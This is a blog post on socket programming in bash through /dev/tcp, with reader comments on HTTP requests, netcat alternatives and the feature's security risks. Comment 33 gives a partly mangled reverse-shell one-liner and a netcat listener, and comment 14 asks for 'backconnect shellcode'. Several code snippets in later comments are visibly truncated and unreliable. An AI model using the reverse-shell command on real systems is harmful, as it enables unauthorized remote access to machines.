Bash socket programming with /dev/tcp

Today I discovered a nifty way to do socket programming in bash without the need for netcat (nc) or telnet: /dev/tcp. Say you want to connect to Google and fetch their front page. Just do this:

exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\n\n" >&3
cat <&3

I found this very handy when trying to connect to a host and read some info from a socket, but I wanted to do it all in a few lines of bash. This is great, because you don’t have to worry about what version of Python or Perl your users will have. If they’ve got bash, you’re set. There is one caveat: some systems (Debian included) don’t enable /dev/tcp. I don’t know why, but they don’t. So make sure your target system has it before coding this up. Oh, and you can use /dev/udp too if you really want to spice things up!

Where does this come from? It turns out it’s a pure bashism, which has to be enabled when you compile bash. Bash actually intercepts “/dev/tcp” and provides special behavior, so you’re not actually opening a device node called /dev/tcp. Pretty cool, eh?!

Happy bashing!

39 comments to “Bash socket programming with /dev/tcp”

You can leave a reply or Trackback this post.
  1. I could have used this two weeks ago. I ended up using nc. It works pretty well anyway.

    PS. I get this error on page load:
    Warning: in_array() [function.in-array]: Wrong datatype for second argument in /home/vhosts/thesmithfam.org/wordpress/wp-content/plugins/BAStats/BAStats_logger.php on line 114

  2. Thanks for the bug report. I think I fixed it with a nice hack. Let me know.

  3. Dave, you’ve got your mug up. Now you’ll have to start mixing up your daily routine to avoid the papparazzi.

    How’s the baby?
    You hacked your airhog to drop “bombs” yet?

  4. Your example code is invalid for HTTP 1.1: a ‘host’ header is always required (to aid in virtual hosting). Instead, do the following:

    echo -e “GET / HTTP/1.1\nhost: http://www.google.com\n\n” >&3
    Or
    echo -e ‘GET / HTTP/0.9\n\n’ > &3

    Hope you’re doing well.
    -Tyler

  5. Thanks Tyler. Nice to hear from you. Drop me a line some time to catch up!

  6. Use

    echo -e “GET / HTTP/1.1\nConnection: close\n” >&3

    so the subsequent call to cat doesn’t hang.

  7. Nice one prosho. Thanks.

  8. Eric Windisch says: -#1

    Just in case anyone still comes across this blog post…

    Don’t use this hack. Use netcat or socat. There is a reason that Debian has this disabled.

    This is a security risk on a multi-user system. It is easy to restrict access to socat, netcat, wget, and curl. It is impossible to disable this feature of the shell without changing the shell. This is a feature transparent enough that many administrators could overlook, allowing into their otherwise-secure chroots.

    While I admit that on a single-user system, this is less of an issue than on a multi-user system, the fact that the security issue exists requires the expectation (and subsequent reality) that many systems have this disabled.

    On the other hand, it is true that netcat also doesn’t exist everywhere, if you must make the choice between programming for netcat or bash sockets — choose netcat. It isn’t that difficult to install and it doesn’t necessitate the creation of unnecessary security concerns.

    I would be very upset if a vendor told me that I needed to have a bash enabled with sockets; while I wouldn’t at all mind a vendor telling me to install netcat. At least I can restrict netcat.

  9. Eric,

    A customer of mine had an immediate need for a small fix to some existing commercial software and hardware on a Red Hat system, to which I had no access. The only thing I knew about the system a priori was that it was Red Hat Enterprise 3. I didn’t even know if they had netcat installed or not. I did know, however, that they were running a vanilla install of Red Hat Enterprise. Armed with that knowledge, I was able to solve their problem reliably with a nice, dirty bash hack using /dev/tcp. :)

    Had I relied on netcat, it could have come back to me. /dev/tcp did the job for them nicely.

  10. Dave, can you give an example if I want to send some data to a server, either via GET or POST?

    TIA

  11. Sending a POST with data would be the same, but you would add extra text like this:

    echo -e “POST / HTTP/1.1\n\nThis is the body of my POST”>&3

    You can also add headers right after the first \n, but be sure to use \n\n before the HTTP body.

  12. Thanks, Dave!

  13. Ben Scott says: -#1

    What exactly is the security exposure of the “/dev/tcp/” feature of Bash? The socket() call will still be available if you disable it.

  14. can you post the backconnect shellcode?

  15. I’m afraid I have no idea what you’re talking about by “backconnect”. Are you talking about the server side?

  16. A tad late, but technically all those “\n” should be “\r\n”. The RFC calls for CRLF line termination.

  17. can anyone show how to do the same if i’m behind a corporate proxy?
    Somehow i need to specify the proxy’s url here

  18. There’s also ncat (part of nmap). Supports proxy.

    http://nmap.org/ncat/

  19. Why is it not enabled in Debian ? Because bash in Debian is compiled with –disable-net-redirections:

    “It can produce completely unexpected results. This kind of
    feature should not be part of a shell but a special tool. And
    that tool has existed for years already, it’s called netcat.”

    To my part, I strongly recommend you to take look on socat. Definitely the best network swiss army knife.

  20. Not a bashism at all.
    Similar functionality is in at least ksh (real ksh) and zsh.

  21. Brian: By “bashism”, I didn’t mean to say that it was exclusive to bash, just that the file /dev/tcp does not actually exist in any file system.

    –Dave

  22. I have adjusted this code to write and read from a non-web server.
    The problem is that my msg_out is 94 bytes, but server gets 95.
    I wonder where the extra byte is coming from.

    #~ Open socket.
    exec 3/dev/tcp/172.26.0.6/9991 # 103, 6

    #~ Send msg.
    echo “$msg_out” >&3

    #~ Receive msg.
    read -r msg_in <&3
    echo "msg_in: $msg_in"

    Please give me you thoughts.
    Regards,
    Vladimir.
    San Jose, CA.

  23. Ben Menking says: -#1

    Muhaha! Just what I needed.

    Was looking for a way to send a message to a web server from a Solaris jumpstart network unattended install (no wget or nc :-(

    By the way, using this with ksh (no bash either).

    Thanks! (Now I must go build my empire and rule the world!)

  24. Ben Menking says: -#1

    Re: Vladimir

    Try using echo -n “$msg_out” >&3

    echo without the “-n” will send a linefeed, which may be the extra character you are referencing.

  25. Hi can this code be used so it works like a simple chat in bash? if it can, can you please tell me how

    Thanx.

  26. Andy,

    Who are you trying to chat with? If you’re trying to connect to an IRC or Jabber chat room, no, you can’t use this code. But if you just want to talk to another Bash user, I would recommend netcat.

    One of you just run this command:

    nc -l -p 12345

    And the other use this command:

    nc theotherhost 12345

    (replace “theotherhost” with the IP address or hostname of the other guy’s computer)

    Now every line you each type below the “nc” command will appear on the other guy’s computer.

    Have fun!

  27. I am trying to retrieve this xml file using bash.
    Is that possible?

    http://www.deldot.gov/traffic/data.ejs?type=vsl

  28. Jim,

    Yes, that is possible, but I would recommend using “wget” instead.

    Example:
    wget http://www.deldot.gov/traffic/data.ejs?type=vsl -O myfile.xml

    When it’s complete, the file “myfile.xml” will contain the XML data you want.

    –Dave

  29. worked fantastic! I put Kudos on wikispeedia.org

  30. Hi, I doing something that can send using POST method and set some parameters

    In form html with be something like this:

    There’s possible to do that?

    I also tried:
    echo -e “POST / HTTP/1.1\n\nThis is the body of my POST”>&3

    But i cant get any post body.

    Thanks

  31. Lainoox: Thanks for mentioning how to close the handle ! It was exactly the missing piece for me to be able to use that …

  32. Thanks Dave! We do this here was making sure we were doing okay!

  33. If the following is executed on a host, it’ll create a reverse shell back to the awaiting host.

    /bin/bash -i > /dev/tcp// 0&1

    AWAITING HOST
    nc -l -p

  34. Once you open a channel with 3, how do you close it?

  35. Hi dave:
    ………
    ………
    v=$(cmd – getstring “$@” > $log_filename
    …..
    ……

    Here “cmd” is our own utility which receives the request from the bash script, serves the request and returns the value over the bash socket.
    All is fine till 100 days.. but after near about 100 days.. the command doesn’t go over the socket to the cmd client.
    $? prints as 128, which is noting but “Invalid argument to exit” ..

    Is the socket being timed out?

  36. echo “get_config: Returned from cmdcall… Return is $v and \$? is $?” >> $log_filename

    The next line is the above one.. don’t know how it was omitted!!

  37. v=$(cmd – getstring “$@” > $log_filename

Write a Reply or Comment

Your email address will not be published.